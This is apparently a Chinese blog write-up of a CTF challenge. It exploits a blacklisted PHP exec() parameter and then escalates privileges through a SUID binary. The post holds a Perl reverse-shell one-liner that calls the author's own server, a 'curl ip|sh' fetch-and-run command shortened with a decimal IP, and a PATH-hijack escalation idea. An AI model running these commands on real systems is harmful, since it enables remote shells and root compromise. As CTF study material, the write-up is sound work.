ma4ter

Index | Photo | About | Friends | Archives

记一道linux suid提权的ctf题目

php代码如下:

<?php
highlight_file(__FILE__);
if(isset($_GET['ip'])){
    $ip = $_GET['ip'];
    $_=array('b','d','e','-','q','f','g','i','p','j','+','k','m','n','\<','\>','o','w','x','\~','\:','\^','\@','\&','\'','\%','\"','\*','\(','\)','\!','\=','\.','\[','\]','\}','\{','\_');
    $blacklist = array_merge($_);
    foreach ($blacklist as $blacklisted) {
        if (strlen($ip) <= 18){
            if (preg_match ('/' . $blacklisted . '/im', $ip)) {
                die('nonono');
            }else{
            exec($ip);
            }
  
        }
        else{
        die("long");
        }
    }
  
}
?>

nc反弹shell解决了

有三种方式反弹 bash perl python 测试后目标容器没有python bash不起作用 只有通过perl方式反弹了

在公网VPS上面搭建WEB服务 将命令放在index.html里面

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"your ip:2333");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

然后在vps上面nc监听

注意要将自带firewall关闭 否则会反弹不成功

记一道linux suid提权的ctf题目

然后在目标机器执行curl ip | bash即可反弹

由于这里有长度限制 将ip地址转换为十进制

然后执行curl ip|sh

即可反弹成功

记一道linux suid提权的ctf题目

权限很低 然后发现根目录下面有个start.sh

记一道linux suid提权的ctf题目

给个love +x 权限

执行love发现就是ps命令

记一道linux suid提权的ctf题目
但是...

记一道linux suid提权的ctf题目

记一道linux suid提权的ctf题目

P师傅YYDS

设置PATH为/tmp 然后伪造一个ps即可实现提权 就不累赘复现

将love文件拷贝出来的方法有两种

cat /usr/bin/love |base64 -w 0

还可以

cp /usr/bin/love /var/www/html

然后通过web下载 web狗的悲伤 不会逆向 不配打CTF呜呜呜